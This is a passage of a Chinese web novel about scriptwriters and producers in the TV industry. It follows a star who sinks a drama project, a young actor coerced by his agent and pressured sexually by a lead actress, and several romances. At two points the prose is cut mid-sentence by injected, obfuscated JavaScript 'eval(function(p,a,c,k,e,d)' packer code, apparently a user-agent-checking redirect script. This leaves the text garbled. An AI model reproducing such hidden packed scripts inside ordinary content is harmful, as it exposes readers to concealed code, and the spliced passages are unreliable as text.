方雯第二部署名作品收视很好,她知道安歌是在打压她,可她很想把《不惑之年》做好,顺利播出。她虚与委蛇,让安歌给点时间,她回家思索如何修改。 安歌对明堂影业从上到下都持有怀疑态度,方雯不好跟章嘉敏和朱青说太多,她尝试改剧本,但女主角被改成善良包容隐忍,跟卫视想要的人物形象大相径庭,她改不出来。 方雯迟迟不交出修改稿,安歌助理又喊她去开会。方雯一进会议室就看到戏剧学院的一位副教授,安歌请他全程指导方雯写剧本。 副教授和安歌是老熟人,他是多部电视剧的总编剧,跟武德一样,带了诸多学生,但一群人写的剧本只署他的名字,方雯看过几部,都很粗制滥造,前言不搭后语。 副教授也认为刘慧芳精神才是《不惑之年》的魅力点,方雯说那已是多年前的电视剧,副教授说刘慧芳永不过时,她身上完美体现了女人的担当。 方雯争辩,但是没用,影视圈很多功成名就的人,都惯于用自己的经验套一切。去年,方雯接触的一位导演,他谈起手上在做的都市剧里的大反派,反反复复拿1995年播出的《义不容情》里温兆伦的角色举例。也许是年轻时看过的电视剧印象太深刻,也许是创作上失去了与时俱进的能力。 方雯以前是外企职员,做编剧是半路出家,副教授苦口婆心教导她,试图以专业度镇住她,但被镇住的只有安歌。副教授讲的理论一套套,但全是入门基础,并且是戏剧理论,而不是影视剧理论,按副教授讲的这些行事,写出来的东西只能顺应戏班子的需求,总之,他似乎已不懂得有个词叫“时代”。 安歌爱笑,副教授也和蔼,但摧毁一个人的精神,不需要发脾气,只需要一遍遍地告诉编剧,你写得不对。方雯刚入行时,有个搭档被导演气出了躁郁症,喊打喊杀,那时她不明白为什么,只以为每个人的抗压能力不同。责难临到自己头上,她才知道,每个人的抗压能力是不同,每个人的崩溃方式也不同,搭档的崩溃是以头撞墙,她的崩溃是老子不跟你们玩了。 方雯眼里红血丝密布,杨树看得不好受,《战朝阳》的编剧甘棠和她闲谈时说过,一集编剧费看着是比普通人的月薪高不少,但一个项目少说要做一两年,有的长达几年,稿费绝大多数时候相当于精神损失费和封口费。你在资方那里受了再多委屈,为了项目胜利播出,你不能往外诉苦。诉苦也没用,观众看的是成品,他们没义务体恤编剧受了多少委屈,经历过哪些妥协。 女主角一个人的片酬就占去了总投资的一大半,制作上太被动,公司决定追加投资,姚澈仍在找投资人,每天都很忙,但这件事得由她出面才能解决。朱青汇报,姚澈立即约了导演和安歌的时间,明天下午开会。 杨树劝方雯放松点,不能被那帮人影响心情,姚澈一定会还她公道,方雯道谢,但以她的从业经历来看,她得退出项目了。通常来说,哪怕制片人明知编剧是对的,也会放弃编剧,遍地是编剧,随时能换,导演和能卖片的演员稀缺得多,制片人不会为了编剧而开罪他们。 电视剧创作的主导模式一直在变,最初是导演中心制,后来发展到制片人中心制,现在明星演员是强势方,杨树懂得方雯的悲观,你能不能被真诚对待,由你在业内的地位决定,没几个人会听nobody在说什么。 《不惑之年》新一轮剧本会召开,导演还在上海拍戏,来不了,安歌带上副教授和助理出席,她想聘请副教授为总编剧,挂他的名头说不定能多卖几个平台。 副教授找助手捋了方雯交的剧本线索,七改八改,东删西补,弄出五页A4纸。他强调中年女人的榜样是刘慧芳,这才是成功的路子,屏幕上出现中年女滑头绝不是创新,而是自掘坟墓。 安歌说自己也是投资人,不是存心为难编剧,但是按女主角现有人设,拍出来是渣女,要被观众骂死。姚澈说女主角是基于真实生活撷取的典型人物,有现实性,跟渣这个词离得很远,而且她不赞成用“渣”这种字眼概括一个人。 副教授说有审查这道坎,国内就永远不可能有真正的现实主义剧。会议室一时鸦雀无声,杨树沉默地翻看副教授的整改意见,女主角真善美忍,是伟大完人,她和配角们团结和谐,但看不到鲜活的人性,看不到碰撞抉择,它非常安全,但非常没劲。 公司明年又要做一部重大历史题材剧,钱一诺去拜访历史顾问,今天的会议没参加,姚澈全权代表他:“所以安小姐的意思是再改改吗?” 安歌说是推翻重写,这戏从底子就错了,原著作者叶罗是作家,但她对于戏剧是外行,不能因为迷信她在文坛的地位,就直通通把原著原汁原味拍出来,得从时代角度诠释新女性。 副教授说自己接触的40岁女人如安歌者,在精神上都有大气象,剧本女主角却把自己生活的一方小天地当成全世界,营营役役,蝇营狗苟,不是独立女性的楷模。 助理说安歌近年来致力于女权发展,以她们所见,新女性虚怀若谷,责任感不比男人差,身体力行为女性发声和奔走。《不惑之年》理应写这样的女人,对女性群体有着刘慧芳对家庭的爱护和善待,而不是写她在生活里上蹿下跳,汲汲营营,那样格局太小。 一片死寂里,姚澈说话了:“几位老师说的那些女人,很让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨树问:“她看不懂剧本?” 姚澈说看不懂剧本的演员明星大有人在,有些人连通俗小说都很理解吃力,比如某个一线花旦很崇拜她一个同为明星的朋友,就因为朋友能一部接一部地看网络言情小说,但一线花旦和很多同行都看不进字,只能请手下的人复述。 姚澈让方雯休息几天等消息,安歌当初主动参投,说明她看好项目,如今公司还未对外公布定角,法务可以和她签一份解除出演协议,保留她的投资权和优先回款,利益当前,一切都有得谈。 姚澈助理开车送方雯回家,姚澈去找法务起草解约协议,同时谈新任女主角。杨树在朱青办公室待了片刻,副教授说崇尚文学的时代过去了,但墙壁上的“百战归来再读书”如琢如磨。 回家后,杨树聊起会议室的风起云涌,牙医认为副教授那句审查论不对,国内编剧水平有限,没审查也写不出好东西,比如言情剧,总不至于触线吧,不也还那么难看?杨树问:“你知道都市情感剧不让展现男女是同居关系吗?” 牙医一愣,丁盼兮回想起看过的剧,只有偶像剧能写点强行同居,都市情感剧里,男女朋友不论收入如何,都各自住在豪华地段的豪华精品房。 连住在一起的一个镜头都不能有,更妄论体现一点不一样的价值观,言情剧过审绝不比别的剧种宽松。杨树不喜欢网上一些言论,总有人说哪怕是言情题材,国产剧都干不过韩剧日剧,但被翻译和引进到中国,并被国人广泛知道的,都是精品。拿精品和国内被审查过的大路货比,有失偏颇。 牙医说:“伊朗审查也严格,可他们电影总拿国际大奖。” 杨树说:“我们也拿过国际大奖,早些年拿了,这几年依然拿了。” 秦朗立刻数出了好几部,杨树说伊朗电影是有好东西出来,但它们的电视剧,牙医能说出哪一部?牙医脾气好,被呲儿了也不在意,他看起来很喜欢和杨树探讨这些:“我们审查真那么严?” 牙医虽然有点武断,但是请教的态度,杨树乐于解释。她拿经历的项目举例,也不完全只是审查问题,有些业内人士也让创作空间变窄了,比如安歌。如果制片人和导演都不压她,《不惑之年》按她的想法做,就变成烂剧了,等到播出来,她的粉丝和观众会骂编剧乱写,骂导演,骂合作演员,却不知女主角本人就是罪魁祸首。 就算《不惑之年》拍成烂剧,对安歌也没有实质损害,她拿了片酬,上了卫视,还有接不完的新戏。方雯几次和安歌开会,安歌都说自己肯演《不惑之年》是明堂影业的福气,同龄青衣里演技好的没她红,红的没她演技好。 各家一边消耗IP,一边囤积IP,安歌跟《不惑之年》一拍两散,也许的确有数不清的角色等着她演,但像《不惑之年》这样跟她年龄和气质契合的女主角绝对很少,杨树笑笑,祝她好运。 41. 第 41 章 《玫瑰掌门》的编剧宋琳和白蓝动笔写剧本大纲了,但比杨树和她们约定的时间晚了半个多月。两人上一部古装言情剧收尾不顺利,资方买的是情情爱爱的故事,但嫌它格局小,最后几集让女主角出使敌国,力劝侵略者为天下苍生着想,止戈休战。 杨树失笑,格局和正能量这种词,她从安歌嘴里听了几十遍。易无为《玫瑰掌门》的前期工作做得很精细,宋琳和白蓝很感激,拉他一起写剧本,有些专业性很强的部分都交给他。 年底一定能看到剧本大纲,杨树刚轻松了一下,就收到朱青的信息了,《不惑之年》暂时项目搁浅。 姚澈本来以为,有卫视托底,女主角换人,《不惑之年》还能做,但夏停很遗憾地通知她:“先放一放吧,避避风头。” 安歌和卫视总监交情匪浅,总监当年还是采销部主任时,买了她主演的两部戏,先后风靡全国,姚澈推测她找了总监。 在夏停游说下,采销部主任陈年才重视《不惑之年》,但卫视一年能播出的戏就那些,当然想播更赚钱赚吆喝的。《不惑之年》辐射面不及言情剧和狗血悬浮剧,总监一过问,陈年就坡下驴。 哪家卫视都有内部斗争,这家不买,找别家便是,但安歌断了明堂影业的后路。她火速接受一家电子杂志的专访,自爆最近接了某著名女作家的小说改编剧,题材是中年女人的悲欣人生,小说和剧本同步创作,但剧本写出来和她想象的有非常大的偏差,她和制作方协商未果,只能违约终止合作。 专访一出,安歌方面安排的营销公司立刻揭秘了女作家的名字和剧名,水军和粉丝齐齐夸安歌爱惜羽毛,壮士断腕,明知会得罪资方明堂影业,也不出演烂剧。 姚澈正在和第一人选华遥再碰档期,华遥很有出演的意愿,《不惑之年》一下子被打成烂剧本,安歌占了先机,这下别说华遥了,别的演员也不便接《不惑之年》。 明堂影业是大公司,但安歌这几年的金主是电影大鳄,在上层很吃得开,她跟明堂影业交恶没好处,但也没损失。 社交网页上,安歌以干练大女人形象示人,杨树很困惑,这件事完全有和平解决的办法,但安歌选择跟明堂影业公然翻脸。 编剧方雯认为安歌记了姚澈的仇,那天会议上,姚澈挫了她的傲气。演员明星的网页下,通篇都是粉丝和水军的吹捧,生活里全是围着他们赚钱的人,安歌看不到也听不到实话,但姚澈没捧着她。 片酬相仿的前提下,演员接哪部剧是玄学,你因何事得罪她,也是玄学。杨树想到在《天作之合》片场,著名演员因为道具汤碗里的葱花勃然大怒的情形,她愤懑至极。 非议四起,明堂影业发出官方声明,《不惑之年》是著名作家叶罗的杰作,水准很高,明堂影业上下都尊重原著,精心打磨剧本,目前仅出具前10集,但和主演创作理念不合,经友好协商,终止合作。 明堂影业的声明很克制,但安歌的粉丝和水军一哄而上,极尽辱骂之能事。郑致率领他掌管的水军反击,被顾叮叮后援会的大粉踢出了数据组,郑致申辩自己是明堂影业的员工,安歌粉丝诅咒明堂人死全家,他忍不了。 好一番求爷爷告奶奶,郑致保住了粉籍。杨树问他对安歌粉丝控评的看法,郑致理解控评,但破口大骂就太过了。刘云彤让他别总想着控评,越不让路人评价偶像,越让路人对偶像反感,但路人缘才是偶像赖以生存的基本盘。 郑致做梦都想不到有人会反感顾叮叮,她那么好看,怎么看都好看,他蔫头蔫脑地坐了片刻,顾叮叮的大粉支了一招:“安歌公司前段时间参投了一部历史剧,涉及到民族问题,等到播出你们就举报,报仇雪恨!” 杨树警告不准举报,安歌再讨厌,也不能用她塑造的角色和作品去攻击她,你能用这招,就等于默认敌人也能这招报复回来,大家一起玩完。刘云彤敲郑致的桌:“做个人永远是最重要的。” 能演好《不惑之年》且卖剧的适龄女演员不多,安歌釜底抽薪,《不惑之年》只能暂停。姚澈计划等叶罗写完小说,公开出版后,再重启《不惑之年》。方雯很失落,姚澈安排她去写公司明年底要开的都市情感剧:“陈酒更香,咱们等得起。” 朱青相信清者自清,姚澈对未来持有乐观态度,全球文娱产业女性主义风潮已兴起,再过几年,国内的创作环境应该能变得好一点,更多平台愿意接纳现实题材,《不惑之年》这类反映中年女性的故事不会没有出路,事缓则圆,她不急。 安歌是电视剧演员出身,电影之路走得不算顺,片酬也不高,她想赚钱仍得演电视剧,杨树对她下一部电视剧很好奇,她短期内再拿到《不惑之年》这种水准高,并且适合她的剧本机会不大。 秦朗的生日快到了,杨树极力振作,策划他的生日会。《不惑之年》是她亲眼看着一点点成型的,却被安歌以一人之力搅黄,她很压抑,想好好给秦朗过个生日。 杨树和丁盼兮嘀嘀咕咕商量,被秦朗看出来了,他对生日已有打算,想跟杨树去趟江西景德镇,烧几个胖罐子玩玩。 杨树其实想狠狠心给秦朗买块好点的手表,但秦朗不在乎这些,用手机看时间挺方便,他就想出去玩。 两人第一站是去《瓷缘》主拍摄地,他们仍在置景,摄影、美术和器材用的都是电影班底,投入大量心血,杨树作为文学策划之一,再来探探班。 几个月不见,主场景大变样,商铺林立,熙熙攘攘,美术团队搭的街景重现了上世纪80年代。杨树和秦朗都生于80年代之末,没经历过改革开放初期,秦朗和父母分享照片,他们都说恍然回到青少年时代。 杨树和《瓷缘》导演黎导叙旧,聊得神采飞扬,秦朗在不远处看她,他今年最想要的生日礼物,是她的笑容,所以才把她拽出来玩一趟,不让她再为安歌烦心。 在景德镇瓷窑,杨树玩得很快乐,秦朗想要个跟她一样的胖罐子,她就反反复复拉坯,做出最像的一只。晒完坯,再用细竹枝在胖罐子身上画个金灿灿的小太阳,当日和秦朗初见,他笑得像阳光。 杨树自己的胖罐子底部有个树字,丁盼兮的是兮字,秦朗蹲在她旁边看她落款,杨树起笔是一撇,再一横一勾,他懂了,伸手去抢,杨树没让,一个胖字匆匆写完,虽然她男朋友可一点儿都不胖。 秦朗悻然:“有天我中年发福,看你怎么办。” 杨树踢他小腿:“不准是胖子。” 秦朗可怜巴巴:“我压力一大就胖,万一身体不听话,胖了你还要我吗?” 杨树眯着眼看他,他个子高,胖30斤也难看不到哪儿去,但她呲呲牙:“瘦回来再要。” 秦朗垂头丧气:“所以我更爱你,你随便胖。” “总之你不准胖。”杨树和他打打闹闹,阳光晴朗如蜜糖。 《战朝阳》剧本大纲交出,活泼泼有朝气,责编刘云彤没让杨树多操心,跟编剧团队沟通得很好。大纲修改了两次后,向分集梗概推进,姚澈既已暂缓推进《不惑之年》,出任《战朝阳》的制片人。 祁宁联系杨树,他一直惦记着杨树挑的革命剧祈砚初一角,但经纪人柳艳始终不同意他接男四号。 从《天作之合》算起,祁宁已演了两个男二号,一个男三号,一个友情客串,狮子王是他拿到最好的角色,他以为那是起点,但柳艳带的小生里总有人比他上道。今年以来,祁宁接的是千篇一律的工具人角色,他很清楚不可能靠这样的角色出来,他想演二少爷祈砚初。 昨天,革命剧公布了男女主演和主要配角,很规整的正剧班底,祁宁认为老戏骨云集,能学到东西,他和选角导演联系上了,有试镜机会,但这是私自行为,可能会得罪柳艳。 杨树问得罪柳艳的后果,祁宁说也许会被雪藏,一个角色都不给他。杨树只能让他先熬着,落字无悔,人得有点契约精神,等《天作之合》播出,观众注意到他,柳艳可能就对他有所改观了。祁宁信心不足:“我真的演得还可以吗?” 杨树说不是还可以,是很好,上次见面,她和祁宁约定以后要把档期留给她负责的戏,不是客套话,她是真心希望负责的项目被珍视它的人演好。 到了下午,祁宁又找上杨树了,他还是想去试镜。中午的时候,柳艳让手下小生传看新剧本,仍是男二号,戏份很少,并且围着女主角转,为她生,为她死,为她负尽天下,存在的惟一价值就是充当男女主角情感的催化剂。这次,柳艳把机会给了另一人,但让包括祁宁在内的众艺人晚上跟她去跟资方应酬。 类似的应酬祁宁参加过很多,但今天饭局的主角是某个大人物,他以特殊嗜好在小圈子里闻名。杨树没想到祁宁坦然说起这些,一时不知道说什么才好:“你怎么办?” “不能怎么办。”祁宁想明白了,他去试镜二少爷祈砚初,会得罪柳艳,但没得罪她的这两年,自己也不过是为她赚快钱和搞关系的工具。 柳艳为祁宁接的戏,从不看剧本质量,也不讲究人设好坏,哪个片酬高接哪个。这段时间,祁宁在家试演过二少爷祈砚初的戏,有几场可能理解不到位,请杨树帮他讲讲。 下班路上,杨树想到祁宁和同伴们正被柳艳带去赴约,不由给他发了微信:“以后我这里有合适的角色,会推荐你。但我现在说话还不够分量,可能不是大角色。” 祁宁回了三个字:“我信你。” 几天后,祁宁试镜成功,但想和革命剧签约,还得经纪人柳艳说了算。他找杨树商量对策,不知不觉中,杨树成了他最信得过的业内人。他说圈内一起打球喝酒吹牛的朋友也有好几个,但圈子太小了,想说点真心话,很容易被传出去得罪人。 祁宁的经纪约还有五年多,违约金高达一个亿,很难找到肯为他赎身的下家,但以柳艳对他的态度,未来他很难接到几个好角色。杨树不懂这种情况怎么办,朱青建议祁宁跟经纪人协商成立个人工作室,争得部分话语权。 差不多过了半个月,祁宁告诉杨树,柳艳同意了,但原先他向公司上缴八成酬劳,如今得上缴九成,自己所得仅一成。 不光是收入上的妥协,自然还有别的,但得到自主选戏权,不再由经纪人对接所有事务,祁宁很知足。合同已走完,他火速和革命剧那边签约,出演二少爷祈砚初。 在赚快钱成风的时代,有人在壮士断腕,杨树从心底认可了祁宁。她手握《战朝阳》和《玫瑰掌门》,满脑子都想要给他留个角色,一步步来,总能改善处境。 一周后,革命剧在北京昌平举办开机仪式,祁宁比主演们晚几天进组,他特地把杨树约到朋友开的会所,让她再帮他吃透二少爷祈砚初这个人物。 祁宁怀着憧憬去拍戏,但隔了十来天,他跟杨树打了电话,再不找人说说话,他会疯了。 两人又在会所见面,整个露台只有杨树和祁宁两人,可以敞开说话。革命剧的女主角凌汐有一种野性之美,她年轻时演过一部青春电影,为大众贡献了一个健康性感的形象,青春期的祁宁无意间看到这部电影,把凌汐视为女神,说是性启蒙对象也不为过。 祁宁和凌汐没有对手戏,有天没排他的戏份,他兴冲冲要去A组看凌汐演戏,他在剧组结识的新朋友欲言又止:“我请你喝酒吧。” 女神比酒精吸引人多了,但祁宁去了就后悔了。几天后他才知道,其实凌汐在剪辑室观看拍摄素材时,就盯上他了,他不送到她面前,她也会对他勾勾手指头。 凌汐的助理开门见山,塞给祁宁一张门卡,祁宁的脸白了。他在别的剧组见过男主角对小配角这样,他还不至于天真到以为女主角不会对男配角这样,但凌汐是他的女神。 祁宁到底是去了,他清楚凌汐的用意,怀有微弱的希望,希望女神不要幻灭得彻底。然而凌汐毫无耐心,祁宁一进门,就被她推在墙上吻,一如她在公众面前展示的那个美艳耿直的真性情形象。 祁宁尝试跟凌汐谈天,但凌汐和他认识的那些男主角一样,跋扈直白地告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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职场的性骚扰无处不在,跟对方美不美、帅不帅没关系,跟性别也没关系。杨树道歉,如果不是她建议祁宁演二少爷,也许不会有此遭遇,祁宁摇头:“是我自己想演的角色。怪也只怪我太贪心,如果我做得到退圈……可我舍不得,所以该受着。跟你说一说,我心里好过多了,还能继续演。” 杨树有种兔死狐悲之感,工作中,碰到过张瑞江和安歌那样的人,有过许多被折辱的时刻,却只能忍受唾面自干。谁想这样?但是不这样,祁宁就在圈子里生存不下去,人总会受制于贪念。 杨树给祁宁倒酒,各自一口干了。祁宁照旧把她送到单元楼下,等他发动汽车走后,杨树在楼道里站了片刻。凌汐有演技也有作品,但大众不会知道她这一面。 回家后,丁盼兮又在看剧。男主角跟祁宁合作过一部戏,不过27岁,但热衷睡粉丝,还屡屡殴打未公开的恋人,在剧组也横行霸道,杨树问:“假如你是个小配角,这人让你陪睡,你去不去?” 如果是张程程,她会回答马上就爬过去,跟帅哥睡,她赚翻了,哪有拒绝之理。丁盼兮说:“帅归帅,不是我喜欢的,干嘛要去?” 杨树说:“他对很多小演员都这样,不答应就耍伎俩逼迫别人答应。” 丁盼兮立刻关了视频:“白长这么帅了,再帅也是□□犯。” 话题很快转到牙医身上,牙医总让丁盼兮有赚了之感,有的女人找个小6岁多的男朋友,喜欢给对方买这买那,但牙医收入在同龄人里高,总跟丁盼兮抢着买单,还很热爱做家务。 牙医往家里跑得勤,变着花样给丁盼兮做早餐,洗完碗就拖地,他有洁癖,还买了吸尘器,换不同吸头搞卫生,不论是床边沿的灰尘,还是纱窗积尘,都弄得一干二净。 柔弱白皙的牙医不知多激发女人的母性,他偏巧是照顾别人的那个。丁盼兮起先受宠若惊,但牙医什么活儿都抢着干,每天如故,她体会到当初秦朗的不自在了,让牙医不用再表现,她对吃住都不挑剔,当她走出漫画家那段,才知道通过伺候别人博得喜爱是徒劳,也犯不着。 牙医生气了,他真心想宠着丁盼兮,丁盼兮却不领情,还时常说你放着我来,可他明明是家务好手。丁盼兮跟他认真谈了很久,恋人之间平等交往,不存在谁宠着谁,宠物才需要宠呢。 没两天两人又大吵一架,吵到牙医气呼呼走人,丁盼兮气出了眼泪,冲进杨树房间说:“他嫌我不热烈!” 杨树很震惊,丁盼兮喜欢谁,就抱着不撒手,特别黏糊,丁盼兮却说牙医嫌她不主动。丁盼兮觉得自己够主动了,牙医嫌不够,他满脑子都想跟她昏天黑地,但丁盼兮瘾没那么大,他很羞愧。 丁盼兮不明白这有什么好羞愧的,杨树也不懂,秦朗似懂非懂:“我去找他谈谈?我十几二十岁出头精力也很旺盛。” 杨树哈哈笑,他说得就跟现在不旺盛似的。丁盼兮没让秦朗出面,牙医不是漫画家,两个人内部的问题,还得两个人自己解决。 冷战了两天,牙医找丁盼兮认了错,跟她恋爱之前,他认为自己追求灵欲,但如今他迷恋丁盼兮的身体至深。他觉得自己疯了,但还是时时刻刻想黏着,就自我较劲,迁怒了丁盼兮。 如果丁盼兮特别主动,需索无度,牙医就没有心理负担了,杨树哈哈笑:“所以小景同学偶像包袱还挺重,生怕崩了人设。” 丁盼兮很烦躁,要吵架就有的放矢地吵,不要无中生有地吵,她就一俗人,复杂的事理解不了。但杨树倒是听明白了,以牙医的外在和职业,追他的女人少不了,一定是跟其他女人对他的迷恋相比,丁盼兮表现得不够爱,他希望她表达爱意的方式更强烈些,他才更感受得到。 丁盼兮和牙医深谈,牙医承认是这样,他反省了,他的女朋友不是跟他同龄的女人,她成熟些,也理性些,这不是她的问题,是他的,他会改。 丁盼兮对杨树笑叹,别看牙医白白的乖乖的,想法还挺七弯八扭,不像北京男人。杨树不以地域区分男人,哪里都有大男人,哪里都有牙医这种敏感型的,况且他才23岁,贪图他的年轻,当然得包容他的不成熟。 42. 第 42 章 12月中旬,编剧交出《玫瑰掌门》剧本大纲,她们写了很详细的5万多字,比杨树预料的更好,交到钱一诺手里,把他看感动了,夸它充满温情和质朴,创业部分扎实得让人击节。 护肤品跟大众生活息息相关,但生产过程并不广为人知,编剧很注重通俗易懂,就连较为复杂的质检过程,涉及到重金属和微生物检测,也写得趣味性十足,学化学出身的易无在这块做出了贡献。 安歌一事,给明堂影业上下都敲了警钟,对于《玫瑰掌门》一剧,钱一诺不急着找演员,让编剧写完35集剧本再说,成片剪成40集。不过按惯例,写完前5集剧本就该找平台探探路了,杨树预计明年3月之内,钱一诺能拿到剧本大纲、分集梗概、人物小传和前5集剧本。 圣诞节前夕,张程程送来礼物,是个很精美的便携照片打印机,她还是学生,杨树不收,让她留给自己用。张程程说它是陈曦代言的产品,她找父母要了钱,买了10部,贱价卖了几部,自己手上还有几部,这部让杨树随便玩。 杨树问了价格,掏钱买了,丁盼兮热爱自拍,用得着。郑致很羡慕张程程,他现在月薪不高,扣掉房租费所剩无几,顾叮叮代言的东西他只买得起酸奶和饮品之类。 杨树说这些事不该粉丝操心,郑致说这就是饭圈规则,别家都在为爱豆铺路,小叮当们从精力金钱方面也不能懈怠。 杨树看看张程程,比她年纪小的未成年粉丝也有人在,让她们非理性消费,投入金钱购买爱豆代言的产品,给爱豆脸上贴金,这跟敲诈勒索有什么区别?张程程很黯然,这是她最后一次为陈曦掏钱,她脱粉了。 本月初,公司出品的言情剧开机,陈曦饰演男二号,张程程暑期实习时,就刻意去跟制片人和责编套近乎,她活泼爱笑,同事们都很喜欢她。开机后,张程程请假去横店探班,近距离观看陈曦。 粉丝群体里总会有个别人为满足私欲,热衷跟踪、偷窥和偷拍明星,影响他们的私生活,被称为私生饭,很不为人齿。张程程担心被陈曦当成私生饭,在剧组隐瞒了粉籍。 陈曦新换了助理,是个眉目清秀的男孩子,跟张程程是同龄人,张程程觉得以小哥的长相,能在娱乐圈出道。剧组工作人员都把张程程当公司的实习生,说话并不避着她,上周,女二号的妈妈送来亲手煲的汤,陈曦在休息室背台词,张程程清楚地听到生活制片对人说:“给陈曦小两口送去。” 张程程如雷贯耳,不可置信,生活制片见状,不以为然道:“你看不出来吗?” 工作人员见怪不怪,很少往外传演员明星的隐私,但对张程程来说,不亚于她的房子塌了。营销号其实披露过,但张程程和所有粉丝一样,认为他们是在诬蔑,是对家,是黑,可现实就这样直接地摆在面前。 张程程哭着把陈曦所有照片都锁进抽屉,退出粉丝群,不回踩,不爆料,是她对陈曦最后的温柔。 在无边无际的梦里,陈曦只属于张程程,张程程没法再喜欢他了,但她听了杨树的话,自学了PS,修图技术是宿舍最棒的,杨树欢迎她明年暑期再来实习,她伤感地走了。 平安夜,一家四口人去吃铜炉火锅。杨树喝酒吃肉,北京有着可厌的天气和交通,但让人眷念的东西,细想起来有很多,春天短暂而盛大的花期,夏天走过绿树红墙的街区,喝一瓶老酸奶,初秋的大桃和玫瑰香葡萄,以及天一冷,暖暖和和地围炉夜话。 热热闹闹吃完饭,买上一袋糖炒栗子暖着手,换去酒吧喝酒谈天。跨年夜,四人又在一起过。整个2016年就这样过去了,对杨树而言,得到的喜悦远大于失望,她盼望新一年会更好。 丁盼兮一谈恋爱就容光焕发,对牙医满意得不得了,对生活唯一的抱怨是CPA以失败告终。这玩意儿有名的难考,她有心理准备,想再努力一年。 过完元旦,朱青那边策划了都市情感剧选题,杨树推荐黄婕去当责编,但黄婕犹豫半天才开口,她想去另一部古代言情剧当跟组编剧。 古代言情剧是明堂影业参投的项目,也是IP改编剧,黄婕是书粉,盼了快两年才立项。该剧迁就演员档期,剧本出了15集就开机,编剧团队有两个去跟组。 写剧本的速度赶不上拍的,导演急得恨不得自己撸着袖子写。黄婕为原著写过十几篇书评,对原著很熟,她手头很紧,想去写个几集剧本,赚些稿费,要是杨树不同意,她只能辞职。 以黄婕交出的短篇小说和拉片子来看,当个新手编剧问题不大,一集稿费比她的月薪高,杨树不拦她的路,每个人都有不足与外人道的难题,她让黄婕安心去写剧本,她找人事部门谈谈,给黄婕办停薪留职。 杨树无意多问,黄婕哭了,她说赚再多可能也不够,她男朋友染上赌博恶习,工资输光了,工作也丢了,她的工资要养两个人。杨树终于明白她为何总是一脸忧戚之色了,问她为什么不分手,黄婕说就是爱他没办法,一边恨他死性不改,一边想到分手就心如刀割,她试过离开,但离不开。 感情上的事最没办法多嘴,黄婕自己不离开,别人劝再多也没用。杨树回家跟丁盼兮一说,丁盼兮说她有个初中同学就是这种虎娘们,她认识了一个混子,坠入爱河未婚先孕,家里本就不同意,但女人不愿堕胎,要死要活。 婚后女人发现男方买房买车都是借的钱,她生完孩子就到处打工挣钱帮男的还债。欠债太多,还起来太慢,男人赌钱想搏一把,起先小有赌运,很快就债台高筑,女人找家里借了几次钱,家里忍无可忍,和她断绝来往。 丁盼兮上次回家过年,听说女人依然对男人无怨无悔。男人不帅,还瘦小,顶多占个嘴甜,但让女人这么不顾一切,丁盼兮只能认为人和人的性格和思维方式差异太大,比她在漫画家身上栽的跟头还吓人。 牙医说:“可能对她来说,失去是最大的痛苦,承受不了。” 杨树难以理解,她谈恋爱是为了增加幸福感,如果对方给她添堵,就让他滚蛋。她在陈樟那里吃过一段时间亏,每天闹心,受够了。 年会过后,杨树拿到年终奖,比她预想的高一些,她连同积蓄存了定期。去年国庆,她决定在天津买房,就找代理机构交了社保,明年就有购房资格。 黄婕一拿到年终奖就辞职了,她写古装言情剧期间,抑郁加深,吃药没好转,想休息一阵。杨树问她对未来有何打算,她说等写完剧本,再养养身体,北京生活成本高,她也许会搬回老家,跟男朋友做点小生意。 男朋友不愿去陌生小县城,但黄婕想为他换个环境,双方争执不下,杨树问:“不能把他和北京一起放弃吗?” 黄婕说她不在男朋友身边,男朋友就失去生活来源,他一定会跟她走。杨树让她治病第一,道声珍重,由她去了,但心里是吃惊的,时代发展到今天,有些人受过高等教育,居然完全不肯更新情爱观。刘云彤点开几个短视频给她看,二十岁的女孩身怀有孕,她说希望这胎是男娃,四十岁的女人说相夫教子是女人的职责,在外打拼是男人的事。 一代一代,都有这样的人。杨树越发觉得自己策划《战朝阳》是有意义的,剧里的女孩们碰到了不咋地的男人,身心俱损,但是没关系,放眼望去,全世界都在眼前,她们离得开任何男人,绝不可能因为失恋就失去一切,拍拍手,笑笑再来。 丁盼兮经历过漫画家,自觉心肠变硬了,对黄婕这样明明能分手,但坚持沉沦的女人,她无法同情。她公司有个员工和黄婕很像,丈夫又赌又嫖,还家暴,员工忍了好几年,实在忍无可忍,但法院没判离。前年,员工不堪忍受,自杀了之。 丁盼兮代表公司慰问员工的父母,气得骂过街,有本事自杀,为什么不去杀夫。 秦朗说,能忍受跟那种男人长时间一起生活的女人,本身不是烈性子。性子不烈,就不会一走了之。 杨树认为黄婕在抑郁症里挣扎,做不了决定,可能抑郁症好了,才能真正看清问题。但这件事让她心里堵,秦朗邀请她去张家界过年,透透气。 去年才和姑姑一家吵成那样,杨树是想回避一下,但也想跟爸爸团聚,爸爸让她去湖南,张家界是举世闻名的景点,值得一去。 《战朝阳》今年年中可能就开机,杨树跟爸爸约定,让他届时休年假来探班,看看电视剧怎么拍,父女就能见上面。 到达张家界第二天是湖南地区的小年,他们过的是腊月二十四。秦家父母结婚早,都才刚过50岁,但身体不如杨父好,秦父前几年做过胃溃疡手术,母亲有银屑病,两人都已不吃辣,做的菜正合杨树口味。 出发前,杨树网购了内蒙的羊肉,有天下厨做内蒙风味,秦家父母都夸羊肉味道好,有奶香。秦朗闲得发慌,缠着杨树做面食,他父母连馒头都很少做,一家人兴致勃勃地学习。 杨树和面,让秦朗加点温水,秦朗接了饮水机的水,兑点冷水就倒,但温度太高了,杨树骂他把面烫死了,秦朗顺手给她抹个白鼻尖,两人在厨房笑闹半天。秦家父母看得挺高兴,两人感情好是最重要的。 张家界风景区很大,杨树玩足三天,再被秦家三口带去串亲戚,还学会了打麻将。亲戚们都夸杨树性格好,晚上,秦朗抱着女朋友说悄悄话:“你怎么这么好啊,要是那时候知道会这么喜欢你,我可能不会伤心那么久。” 